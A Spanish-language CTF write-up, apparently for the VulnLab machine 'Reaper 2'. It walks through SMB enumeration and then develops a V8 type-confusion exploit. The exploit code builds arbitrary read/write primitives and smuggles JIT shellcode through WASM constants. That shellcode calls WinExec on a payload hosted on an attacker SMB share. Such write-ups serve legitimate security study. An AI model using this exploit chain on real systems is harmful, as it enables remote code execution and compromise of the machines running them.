xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnLab

Reaper 2



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 445 que corre un servicio smb

❯ nmap 10.10.122.10
Nmap scan report for 10.10.122.10  
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Esta abierto el puerto 80 y corre un servicio http, esto nos muestra una calculadora la cual parece que nos puede ayudar a resolver problemas usando el motor v8

Podemos introducir código javascript y v8 lo ejecutará mostrando el resultado, podemos probar ejecutar version(), esto nos revela que corre la versión 12.2.0

El código fuente nos muestra el comando que se utilizó para correr el script, utiliza d8.exe que es un interprete para v8, tambien podemos observar que utiliza los argumentos --allow-natives-syntax --harmony-set-methods, eso es interesante

Con crackmapexec podemos ver que smb acepta autenticación nula, si miramos los recursos smb podemos ver uno llamado software$ con privilegios de lectura

❯ crackmapexec smb 10.10.122.10 -u null -p '' --shares
SMB         10.10.122.10     445    REAPER2          [*] Windows Server 2022 Build 20348 x64 (name:REAPER2) (domain:Reaper2) (signing:False) (SMBv1:False)  
SMB         10.10.122.10     445    REAPER2          [+] Reaper2\null: (Guest)
SMB         10.10.122.10     445    REAPER2          [*] Enumerated shares
SMB         10.10.122.10     445    REAPER2          Share           Permissions     Remark
SMB         10.10.122.10     445    REAPER2          -----           -----------     ------
SMB         10.10.122.10     445    REAPER2          ADMIN$                          Remote Admin
SMB         10.10.122.10     445    REAPER2          C$                              Default share
SMB         10.10.122.10     445    REAPER2          IPC$            READ            Remote IPC
SMB         10.10.122.10     445    REAPER2          software$       READ            software developement share

Dentro del recurso encontramos 3 carpetas, la carpeta llamada kernel contiene un archivo Reaper.sys que no podemos descargar el que si podemos descargar es el kernel32.dll, éste nos servirá un poco más adelante para la parte de shellcoding

❯ impacket-smbclient null@10.10.122.10 -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use software$
# ls
drw-rw-rw-          0  Sun Apr 28 13:31:48 2024 .
drw-rw-rw-          0  Mon Apr 29 07:01:57 2024 ..
drw-rw-rw-          0  Sun Apr 28 06:27:22 2024 kernel
drw-rw-rw-          0  Thu May  9 13:33:23 2024 v8_debug
drw-rw-rw-          0  Sun Apr 28 06:27:09 2024 v8_release
# cd kernel
# ls
drw-rw-rw-          0  Sun Apr 28 06:27:22 2024 .
drw-rw-rw-          0  Sun Apr 28 13:31:48 2024 ..
-rw-rw-rw-     782512  Sun Apr 28 06:27:22 2024 kernel32.dll
-rw-rw-rw-       8944  Sun Apr 28 06:27:42 2024 Reaper.sys
# get Reaper.sys
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.  
#

Las otras carpetas del recurso smb contienen los archivos de v8 en la versión que corre la máquina, esto nos servirá para depurar un posible exploit localmente

# cd ..\v8_debug
# ls
drw-rw-rw-          0  Thu May  9 13:33:23 2024 .
drw-rw-rw-          0  Sun Apr 28 13:31:48 2024 ..
-rw-rw-rw-  132230469  Thu May  9 13:33:24 2024 v8_debug.zip
# cd ..\v8_release
# ls
drw-rw-rw-          0  Sun Apr 28 06:27:09 2024 .
drw-rw-rw-          0  Sun Apr 28 13:31:48 2024 ..
-rw-rw-rw-   24743936  Sun Apr 28 06:27:09 2024 d8.exe
-rw-rw-rw-     305782  Sun Apr 28 06:27:09 2024 snapshot_blob.bin  
#


Shell - www


Podemos encontrar el siguiente post sobre type confusion en esa versión de d8 cuando se ejecuta con el parámetro --harmony-set-methods, sin embargo esta desarrollado en Linux asi que nuestro trabajo será hacer lo mismo en Windows, partiremos desde el poc para desarrollar nuestro propio exploit para la máquina, depuraremos nuestro script que se ejecutará en v8 usaremos windbg para correr d8.exe pasandole los argumentos que conocemos y el nombre del script

Iniciaremos escribiendo los siguientes helpers, la primera función convierte el tipo float a bigint, el siguiente bigint a float y el ultimo bigint a hexadecimal

let fi_buf = new ArrayBuffer(8);
let f_buf = new Float64Array(fi_buf);
let i_buf = new BigUint64Array(fi_buf);  

function ftoi(f) {
    f_buf[0] = f;
    return i_buf[0];
}

function itof(i) {
    i_buf[0] = i;
    return f_buf[0];
}

function hex(i) {
    return '0x' + i.toString(16);
}

El numero de elementos se almacena en formato SMI en el campo elements de la tabla, al eliminar un elemento el valor de elements de disminuye en 2 unidades asi que podemos ajustar la dirección del objeto eliminando elementos, sabemos que entonces podemos crear un objeto falso en una dirección inferior a la de la tabla

let receiver = new Set();
let other = new Set();

for (let i = 0; i < 16; i++) {
    receiver.add(i);
} // elements: 16, capacity: 16

other.keys = () => {
    receiver.add(16); // elements: 17, capacity: 32 (grow, allocate new table)  
    return other[Symbol.iterator](); // match return type (Set Iterator)
}

let result = receiver.symmetricDifference(other);
%DebugPrint(result.size);

for (let i = 0; i < 8; i++) {
    result.delete(i);
}
%DebugPrint(result.size);

DebugPrint: 000001B200049949: [OrderedHashSet]  
 - FixedArray length: 83
 - elements: 17
 - deleted: 0
 - buckets: 16
 - capacity: 32

DebugPrint: 000001B200049939: [String]:

Al crear una nueva fake array podriamos aprovechar el hecho de que las direcciones de valores como PACKED_DOUBLE_ELEMENTS o FixedArray[0] no cambian, sin embargo algo a tener en cuenta que estos valores en remoto podrian podrian ser diferentes

PS C:\Users\user\Desktop\v8_release> .\d8.exe --allow-natives-syntax --harmony-set-methods  
V8 version 12.2.0 (candidate)
d8> %DebugPrint([1.1]);
DebugPrint: 0000025600049575: [JSArray]
 - map: 0x02560010ed71 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x02560018e6e5 <JSArray[0]>
 - elements: 0x025600049565 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0256000006cd <FixedArray[0]>

Si creamos una matriz falsa y un objeto falso en esa ubicación podemos escribir el valor colocando una dirección aleatoria dentro de v8 en el campo elements

let receiver = new Set();
let other = new Set();

for (let i = 0; i < 32; i++) {
    receiver.add(i);
} // elements: 32, capacity: 32

let fake_arr_struct;

other.keys = () => {
    fake_arr_struct = [1.1, 2.2];
    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)  
    return other[Symbol.iterator](); // match return type (Set Iterator)
}

let result = receiver.symmetricDifference(other);

let map = 0x10ed71n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1

fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);

for (let i = 0; i < 0x10; i++) {
    result.delete(i);
}

let fake_arr = result.size;
%DebugPrint(fake_arr)

DebugPrint: 0000020000049E21: [JSArray]
 - map: 0x02000010ed71 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]  
 - prototype: 0x02000018e6e5 <JSArray[0]>
 - elements: 0x020041414141

Si insertamos una marca en fake_arr como 0x4141414141414141 luego podemos simplemente buscarlo en memoria en tiempo de ejecución y obtener su dirección

function aar(addr) {
    elements = addr - 8n + 1n;
    fake_arr_struct[2] = itof(elements | length << 32n);
    return fake_arr[0];
}

function aaw(addr, value) {
    elements = addr - 8n + 1n;
    fake_arr_struct[2] = itof(elements | length << 32n);
    fake_arr[0] = itof(value);
}

let receiver = new Set();
let other = new Set();

for (let i = 0; i < 32; i++) {
    receiver.add(i);
} // elements: 32, capacity: 32

let fake_arr_struct;

other.keys = () => {
    fake_arr_struct = [1.1, 2.2, 3.3];
    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)  
    return other[Symbol.iterator](); // match return type (Set Iterator)
}

let result = receiver.symmetricDifference(other);

let map = 0x10ed71n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1

fake_arr_struct[1] = itof(map | properties << 32n);
fake_arr_struct[2] = itof(elements | length << 32n);

for (let i = 0; i < 0x10; i++) {
    result.delete(i);
}

let fake_arr = result.size;

let marker;
let leaked;

/* leak address of fake_arr */
marker = 0x4141414141414141n;
fake_arr_struct[0] = itof(marker);

let fake_arr_addr = 0x4a000n;

for (let i = 0; i < 0x1000; i++) {
    leaked = ftoi(aar(fake_arr_addr));
    if (leaked == marker) break;
    fake_arr_addr += 4n;
}

fake_arr_addr += 8n;

console.log('[+] address of fake_arr: ' + hex(fake_arr_addr));

[+] address of fake_arr: 0x4a4f0
V8 version 12.2.0 (candidate)
d8> %DebugPrint(fake_arr);
DebugPrint: 000000BB0004A4F1: [JSArray]  

Asignamos una matriz de objetos en fake_arr y la coloca en la matriz de objetos, la dirección puede servir como marcador para encontrar la dirección de la matriz, podemos obtenerla buscando la dirección en memoria iniciando en fake_arr

let fake_arr_struct;
let obj_arr;

other.keys = () => {
    fake_arr_struct = [1.1, 2.2, 3.3];
    receiver.add(32); // elements: 33, capacity: 64 (grow, allocate new table)  
    obj_arr = [{}];
    return other[Symbol.iterator](); // match return type (Set Iterator)
}

marker = fake_arr_addr + 1n;
obj_arr[0] = fake_arr;
let obj_arr_addr = fake_arr_addr + 0x30n;
for (let i = 0; i < 0x1000; i++) {
    leaked = ftoi(aar(obj_arr_addr)) & 0xffffffffn;
    if (leaked == marker) break;
    obj_arr_addr += 4n;
}

console.log('[+] address of obj_arr[0]: ' + hex(obj_arr_addr));  

[+] address of obj_arr[0]: 0x4a8d8
V8 version 12.2.0 (candidate)
d8> %DebugPrint(obj_arr);
DebugPrint: 000001960004A8F9: [JSArray]
 - map: 0x01960018edf1 <Map[16](PACKED_ELEMENTS)> [FastProperties]  
 - prototype: 0x01960018e6e5 <JSArray[0]>
 - elements: 0x01960004a8d1 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1

Con la función addrof podemos obtener la dirección de un aleatorio insertando ese objeto aleatorio en la matriz de objetos y leyendo su valor en obj_arr[0]

function addrof(obj) {
    obj_arr[0] = obj;
    return ftoi(aar(obj_arr_addr)) & 0xffffffffn;
}

let tmp_obj = {};
console.log(hex(addrof(tmp_obj)));

0x5c411
V8 version 12.2.0 (candidate)
d8> %DebugPrint(tmp_obj);
DebugPrint: 000003CC0005C411: [JS_OBJECT_TYPE]  

Al compilar las instrucciones en WebAssembly las constantes se insertan como un código, iniciamos convirtiendo los qwords a constantes flotantes f64.const

let shellcode = [
    0x4141414141414141n,
    0x4242424242424242n,
]

for (let i = 0; i < shellcode.length; i++)
    console.log('f64.const ' + itof(shellcode[i]));

PS C:\Users\user\Desktop\v8_release> .\d8.exe .\file.js  
f64.const 2261634.5098039214
f64.const 156842099844.51764
PS C:\Users\user\Desktop\v8_release>

Ahora necesitamos convertir de formato de texto a WebAssembly usando wat2wasm

(module
    (func (export "main")
        f64.const 2261634.5098039214
        f64.const 156842099844.51764

        return
    )
)

❯ wat2wasm -v file.wat -o file.wasm
0000000: 0061 736d                                 ; WASM_BINARY_MAGIC
0000004: 0100 0000                                 ; WASM_BINARY_VERSION
; section "Type" (1)
0000008: 01                                        ; section code
0000009: 00                                        ; section size (guess)
000000a: 01                                        ; num types
; func type 0
000000b: 60                                        ; func
000000c: 00                                        ; num params
000000d: 00                                        ; num results
0000009: 04                                        ; FIXUP section size
; section "Function" (3)
000000e: 03                                        ; section code
000000f: 00                                        ; section size (guess)
0000010: 01                                        ; num functions
0000011: 00                                        ; function 0 signature index  
000000f: 02                                        ; FIXUP section size
; section "Export" (7)
0000012: 07                                        ; section code
0000013: 00                                        ; section size (guess)
0000014: 01                                        ; num exports
0000015: 04                                        ; string length
0000016: 6d61 696e                                main  ; export name
000001a: 00                                        ; export kind
000001b: 00                                        ; export func index
0000013: 08                                        ; FIXUP section size
; section "Code" (10)
000001c: 0a                                        ; section code
000001d: 00                                        ; section size (guess)
000001e: 01                                        ; num functions
; function body 0
000001f: 00                                        ; func body size (guess)
0000020: 00                                        ; local decl count
0000021: 44                                        ; f64.const
0000022: 4141 4141 4141 4141                       ; f64 literal
000002a: 44                                        ; f64.const
000002b: 4242 4242 4242 4242                       ; f64 literal
0000033: 0f                                        ; return
0000034: 0b                                        ; end
000001f: 15                                        ; FIXUP func body size
000001d: 17                                        ; FIXUP section size

Podemos pasar el archivo wasm a un array de enteros usando el siguiente script, una vez lo agregamos al exploit y creamos un main a partir de la instancia

with open("file.wasm", "rb") as file:
    wasmCode = file.read()

wasmCode_arr = []

for c in wasmCode:
    wasmCode_arr.append(c)

print(str(wasmCode_arr))

❯ python3 read_wasm.py
[0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]  

let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]);  
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;

La dirección de la jump_table_start se encuentra a un offset de 0x47 a partir de la wasmInstance, agregaremos un breakpoint de hardware para ver donde se accede

V8 version 12.2.0 (candidate)
d8> %DebugPrint(wasmInstance);
DebugPrint: 000002240019A979: [WasmInstanceObject] in OldSpace
 - map: 0x022400191161 <Map[208](HOLEY_ELEMENTS)> [FastProperties]  
 - prototype: 0x02240019120d <Object map = 000002240019ABC1>
 - elements: 0x0224000006cd <FixedArray[0]> [HOLEY_ELEMENTS]
 .................................................................  
 - isorecursive_canonical_types: 0000021B4B855420
 - jump_table_start: 0000006328D01000

0:000> dq 0x2240019A979 - 1
00000224`0019a978  000006cd`00191161 000006cd`000006cd  
00000224`0019a988  00000e69`000006cd 00000e69`00006175  
00000224`0019a998  00000000`00000e69 ffffffff`ff000000  
00000224`0019a9a8  00000000`00000000 0000021b`4b855420  
00000224`0019a9b8  ffffffff`ff000000 00000063`28d01000  
00000224`0019a9c8  0000021b`48e51b90 0000021b`48e51b88  
00000224`0019a9d8  0000021b`48e51ba8 0000021b`48e51ba0  
00000224`0019a9e8  0000021b`4b7f92f9 0000021b`4b839860  

0:000> dq 0x2240019A979 - 1 + 0x48 L1
00000224`0019a9c0  00000063`28d01000

0:000> ba r1 0x2240019a9c0

Llamamos al main y llegamos a una función donde se termina saltando a r15 que dentro ejecuta otro jmp a una función creada con los datos de la wasmInstance

d8> main();  

0:000> g
Breakpoint 1 hit
d8!CrashForExceptionInNonABICompliantCodeRange+0x8be392:
00007ff6`48e4fd92 488be5          mov     rsp,rbp

0:000> u rip L3
d8!CrashForExceptionInNonABICompliantCodeRange+0x8be392:
00007ff6`48e4fd92 488be5          mov     rsp,rbp
00007ff6`48e4fd95 5d              pop     rbp
00007ff6`48e4fd96 41ffe7          jmp     r15

0:000> p
d8!CrashForExceptionInNonABICompliantCodeRange+0x8be395:
00007ff6`48e4fd95 5d              pop     rbp

0:000> p
d8!CrashForExceptionInNonABICompliantCodeRange+0x8be396:
00007ff6`48e4fd96 41ffe7          jmp     r15 {00000063`28d01000}  

0:000> p
00000063`28d01000 e9fb070000      jmp     00000063`28d01800

0:000> p
00000063`28d01800 55              push    rbp

Podemos ver que las constantes del texto se agregan directamente en el código, podemos usar esto para insertar un shellcode y sobrescribir la dirección con la del shellcode, al hacerlo saltará a esa ubicación, algo a tener en cuenta es que solo podemos ingresar 8 bytes por lo que deberemos ejecutar un shellcode, pero necesitamos encadenar varios jmp que se encuentran a 9 bytes de distancia

0:000> u rip L11
00000063`28d01800 55                   push    rbp
00000063`28d01801 4889e5               mov     rbp,rsp
00000063`28d01804 6a08                 push    8
00000063`28d01806 56                   push    rsi
00000063`28d01807 4881ec10000000       sub     rsp,10h
00000063`28d0180e 493b65a0             cmp     rsp,qword ptr [r13-60h]  
00000063`28d01812 0f8631000000         jbe     00000063`28d01849
00000063`28d01818 49ba4141414141414141 mov     r10,4141414141414141h
00000063`28d01822 c4c1f96ec2           vmovq   xmm0,r10
00000063`28d01827 49ba4242424242424242 mov     r10,4242424242424242h
00000063`28d01831 c4c1f96eca           vmovq   xmm1,r10
00000063`28d01836 4c8b5677             mov     r10,qword ptr [rsi+77h]  
00000063`28d0183a 41832a36             sub     dword ptr [r10],36h
00000063`28d0183e 0f8810000000         js      00000063`28d01854
00000063`28d01844 488be5               mov     rsp,rbp
00000063`28d01847 5d                   pop     rbp
00000063`28d01848 c3                   ret

La distancia entre el final del primer qword y el segundo es de 7 bytes pero 2 de ellos los usaremos para el jmp que ejecutará la siguiente parte del shellcode

0:000> dq 0x6328d0181a L1
00000063`28d0181a  41414141`41414141  

0:000> dq 0x6328d01829 L1
00000063`28d01829  42424242`42424242  

Si enviamos 2 qwords iguales como parte de una optimización no escribirá de nuevo el segundo qword sino que usará una referencia al primero para ahorrar bytes

0:000> u rip L11
00000044`d9981800 55                   push    rbp
00000044`d9981801 4889e5               mov     rbp,rsp
00000044`d9981804 6a08                 push    8
00000044`d9981806 56                   push    rsi
00000044`d9981807 4881ec10000000       sub     rsp,10h
00000044`d998180e 493b65a0             cmp     rsp,qword ptr [r13-60h]
00000044`d9981812 0f862e000000         jbe     00000044`d9981846
00000044`d9981818 49ba4141414141414141 mov     r10,4141414141414141h
00000044`d9981822 c4c1f96ec2           vmovq   xmm0,r10
00000044`d9981827 4c8b15ecffffff       mov     r10,qword ptr [00000044`d998181a]  
00000044`d998182e c4c1f96eca           vmovq   xmm1,r10
00000044`d9981833 4c8b5677             mov     r10,qword ptr [rsi+77h]
00000044`d9981837 41832a33             sub     dword ptr [r10],33h
00000044`d998183b 0f8810000000         js      00000044`d9981851
00000044`d9981841 488be5               mov     rsp,rbp
00000044`d9981844 5d                   pop     rbp
00000044`d9981845 c3                   ret

0:000> dqs 0x44d998181a L1
00000044`d998181a  41414141`41414141

Para evitarlo cuando necesitemos enviar instrucciones iguales agregaremos una instrucción nop cada vez para desplazar los bytes haciendolos diferentes

shellcode = [
    asm("push rax;"),
    asm("nop; push rax;"),
    asm("nop; nop; push rax;")
]

Iniciamos la parte del shellcoding, lo primero será obtener la dirección base de kernel32, lo haremos mediante el método TEB, en x64 el registro gs contiene un puntero a él, y en el offset 0x60 encontramos un puntero a la estructura PEB

0:000> dt ntdll!_TEB @$teb
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : (null) 
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : (null) 
   +0x058 ThreadLocalStoragePointer : 0x00000203`5daa8080 Void  
   +0x060 ProcessEnvironmentBlock : 0x0000002d`6c75a000 _PEB

Dentro del PEB hay un puntero a la estructura _PEB_LDR_DATA con un offset de 0x18 que hace referencia a 3 listas doble enlazadas que muestren los modulos cargados

0:000> dt ntdll!_PEB 0x2d6c75a000
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff6`88ed0000 Void
   +0x018 Ldr              : 0x00007ffd`d1e76440 _PEB_LDR_DATA  

WinDbg describe el campo InMemoryOrderModuleList como una lista doblemente enlazada, que apunta a los módulos cargados, este campo accede a los módulos en orden de colocación en memoria, la entrada Flink accede al siguiente módulo

0:000> dt ntdll!_PEB_LDR_DATA 0x7ffdd1e76440
   +0x000 Length           : 0x58
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000203`5daa2b00 - 0x00000203`5daaf6a0 ]
   +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000203`5daa2b10 - 0x00000203`5daaf6b0 ]
   +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x00000203`5daa2980 - 0x00000203`5daa7820 ]
   +0x040 EntryInProgress  : (null) 
   +0x048 ShutdownInProgress : 0 ''
   +0x050 ShutdownThreadId : (null)

0:000> dt ntdll!_LIST_ENTRY (0x7ffdd1e76440 + 0x20)
 [ 0x00000203`5daa2b10 - 0x00000203`5daaf6b0 ]
   +0x000 Flink            : 0x00000203`5daa2b10 _LIST_ENTRY [ 0x00000203`5daa2970 - 0x00007ffd`d1e76460 ]  
   +0x008 Blink            : 0x00000203`5daaf6b0 _LIST_ENTRY [ 0x00007ffd`d1e76460 - 0x00000203`5daaf570 ]  

Al mostrar la estructura restando 0x8 de la direccion de la estructura _LIST_ENTRY para llegar al principio de la estructura _LDR_DATA_TABLE_ENTRY, muestra que la estructura contiene un campo llamado DllBase con la base del módulo, siguiendo el orden el siguiente campo cargado en memoria deberia ser el ntdll.dll

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(0x7ffdd1e76440 + 0x20 - 0x10) 
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000203`5daa2960 - 0x00007ffd`d1e76450 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000203`5daa2970 - 0x00007ffd`d1e76460 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]  
   +0x030 DllBase          : 0x00007ff6`88ed0000 Void
   +0x038 EntryPoint       : 0x00007ff6`88ed19a0 Void
   +0x040 SizeOfImage      : 0x5a000
   +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\System32\notepad.exe"
   +0x058 BaseDllName      : _UNICODE_STRING "notepad.exe"

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(poi(0x7ffdd1e76440 + 0x20 ) - 0x10) 
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000203`5daa7800 - 0x00000203`5daa2b00 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000203`5daa7810 - 0x00000203`5daa2b10 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000203`5daa7e10 - 0x00007ffd`d1e76470 ]  
   +0x030 DllBase          : 0x00007ffd`d1cf0000 Void
   +0x038 EntryPoint       : (null) 
   +0x040 SizeOfImage      : 0x217000
   +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
   +0x058 BaseDllName      : _UNICODE_STRING "ntdll.dll"

El tercer campo en la lista doblemente enlazada es kernel32.dll, y ya que en el recurso smb se nos otorga el de la máquina podemos calcular su offset a WinExec

0:000> dt ntdll!_LDR_DATA_TABLE_ENTRY poi(poi(poi(0x7ffdd1e76440 + 0x20 )) - 0x10)  
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000203`5daa7df0 - 0x00000203`5daa2960 ]
   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000203`5daa7e00 - 0x00000203`5daa2970 ]
   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00007ffd`d1e76470 - 0x00000203`5daa7e10 ]  
   +0x030 DllBase          : 0x00007ffd`d1850000 Void
   +0x038 EntryPoint       : 0x00007ffd`d18625e0 Void
   +0x040 SizeOfImage      : 0xc4000
   +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL"
   +0x058 BaseDllName      : _UNICODE_STRING "KERNEL32.DLL"

0:000> ? kernel32!WinExec - kernel32
Evaluate expression: 4736 = 00000000`00001280

Crearemos un script en python, la primera parte guarda en rbx la dirección de la función WinExec, luego empujamos al stack poco a poco la string de un archivo exe cargado desde un recurso smb, al final luego de mover la string completa a rcx y el valor de SW_SHOW a rdx llamamos a la función, cada uno de los valores del array debe ser menor a 6 para dejar espacio al jmp que saltará a los siguientes 6 bytes

#!/usr/bin/python3
from pwn import asm, context

shared = b"\\\\10.8.0.100\\user\\shared.exe"[::-1].hex()

context.arch = "amd64"

shellcode = [
    asm("xor rcx, rcx"),                    # $rcx = TEB structure
    asm("mov rsi, gs:[rcx + 0x60]"),        # $rsi = PEB structure
    asm("mov rsi, [rsi + 0x18]"),           # $rsi = PEB Loader
    asm("mov rsi, [rsi + 0x20]"),           # $rsi = InMemoryOrderModuleList
    asm("mov rsi, [rsi]; lodsq"),           # $rsi = kernel32.dll
    asm("mov rbx, [rax + 0x20]"),           # $rbx = kernel32 base
    asm("mov ecx, 0x1280"),                 # $rcx = offset to WinExec()
    asm("add rbx, rcx"),                    # $rbx = WinExec()
    asm("push 0x" + shared[0:8]),           # $rsp = &".exe"
    asm("xor rax, rax"),                    # $rax = 0x0
    asm("mov eax, 0x" + shared[8:16]),      # $rax = "ared"
    asm("shl rax, 0x20"),                   # $rax = "????ared"
    asm("or rax, 0x" + shared[16:24]),      # $rax = "r\shared"
    asm("push rax"),                        # $rsp = &"r\shared.exe"
    asm("mov eax, 0x" + shared[24:32]),     # $rax = "\use"
    asm("nop; shl rax, 0x20"),              # $rax = "????\use"
    asm("or rax, 0x" + shared[32:40]),      # $rax = ".100\use"
    asm("nop; push rax"),                   # $rsp = &".100\user\shared.exe"
    asm("mov eax, 0x" + shared[40:48]),     # $rax = ".8.0"
    asm("nop; nop; shl rax, 0x20"),         # $rax = "????.8.0"
    asm("or rax, 0x" + shared[48:56]),      # $rax = "\\10.8.0"
    asm("nop; nop; push rax"),              # $rsp = &"\\10.8.0.100\user\shared.exe"  
    asm("mov rcx, rsp; push 0x5; pop rdx"), # $rcx = string; $rdx = SW_SHOW
    asm("sub rsp, 0x30; call rbx")          # call WinExec(string, SW_SHOW)
]

Por cada uno de los valores rellenamos a 6 bytes usando nops y terminamos agregando el salto de 9 bytes saltando a la siguiente parte del shellcode

for i in range(len(shellcode)):
    shellcode[i] = shellcode[i].ljust(6, asm("nop"))  
    if i != len(shellcode) - 1:
        shellcode[i] += asm("jmp $+0x9")
    shellcode[i] = int(shellcode[i][::-1].hex(), 16)
    print(hex(shellcode[i]) + "n,")

Al ejecutar el exploit muestra la lista de qwords, en este punto repetimos todo el proceso para convertirlo a formato wasm y convertirlo a un arreglo de enteros

❯ python3 shellcode.py  
0x7eb909090c93148n,
0x7eb9060718b4865n,
0x7eb909018768b48n,
0x7eb909020768b48n,
0x7eb90ad48368b48n,
0x7eb909020588b48n,
0x7eb9000001280b9n,
0x7eb909090cb0148n,
0x7eb906578652e68n,
0x7eb909090c03148n,
0x7eb9064657261b8n,
0x7eb909020e0c148n,
0x7eb68735c720d48n,
0x7eb909090909050n,
0x7eb906573755cb8n,
0x7eb9020e0c14890n,
0x7eb3030312e0d48n,
0x7eb909090905090n,
0x7eb90302e382eb8n,
0x7eb20e0c1489090n,
0x7eb30315c5c0d48n,
0x7eb909090509090n,
0x7eb5a056ae18948n,
0xd3ff30ec8348n,

Los primeros 8 qwords se almacenan en un registro pero a partir del 9 se agrega una instrucción vmovsd que guarda el valor en una variable, pero esta instrucción aumenta 5 bytes de distancia entre los qwords, luego del valor 20 la instrucción contiene 3 bytes más por lo que la instrucción jmp saltará un par de bytes más

0:000> u rip L4d
00000290`0eb01800 55                   push    rbp
00000290`0eb01801 4889e5               mov     rbp,rsp
00000290`0eb01804 6a08                 push    8
00000290`0eb01806 56                   push    rsi
00000290`0eb01807 4881ec90000000       sub     rsp,90h
00000290`0eb0180e 493b65a0             cmp     rsp,qword ptr [r13-60h]
00000290`0eb01812 0f86da010000         jbe     00000290`0eb019f2
00000290`0eb01818 49ba4831c9909090eb07 mov     r10,7EB909090C93148h
00000290`0eb01822 c4c1f96ec2           vmovq   xmm0,r10
00000290`0eb01827 49ba65488b716090eb07 mov     r10,7EB9060718B4865h
00000290`0eb01831 c4c1f96eca           vmovq   xmm1,r10
00000290`0eb01836 49ba488b76189090eb07 mov     r10,7EB909018768B48h
00000290`0eb01840 c4c1f96ed2           vmovq   xmm2,r10
00000290`0eb01845 49ba488b76209090eb07 mov     r10,7EB909020768B48h
00000290`0eb0184f c4c1f96eda           vmovq   xmm3,r10
00000290`0eb01854 49ba488b3648ad90eb07 mov     r10,7EB90AD48368B48h
00000290`0eb0185e c4c1f96ee2           vmovq   xmm4,r10
00000290`0eb01863 49ba488b58209090eb07 mov     r10,7EB909020588B48h
00000290`0eb0186d c4c1f96eea           vmovq   xmm5,r10
00000290`0eb01872 49bab98012000090eb07 mov     r10,7EB9000001280B9h
00000290`0eb0187c c4c1f96ef2           vmovq   xmm6,r10
00000290`0eb01881 49ba4801cb909090eb07 mov     r10,7EB909090CB0148h
00000290`0eb0188b c4c1f96efa           vmovq   xmm7,r10
00000290`0eb01890 c5fb1145d8           vmovsd  qword ptr [rbp-28h],xmm0
00000290`0eb01895 49ba682e65786590eb07 mov     r10,7EB906578652E68h
00000290`0eb0189f c4c1f96ec2           vmovq   xmm0,r10
00000290`0eb018a4 c5fb114dd0           vmovsd  qword ptr [rbp-30h],xmm1
00000290`0eb018a9 49ba4831c0909090eb07 mov     r10,7EB909090C03148h
00000290`0eb018b3 c4c1f96eca           vmovq   xmm1,r10
00000290`0eb018b8 c5fb1155c8           vmovsd  qword ptr [rbp-38h],xmm2
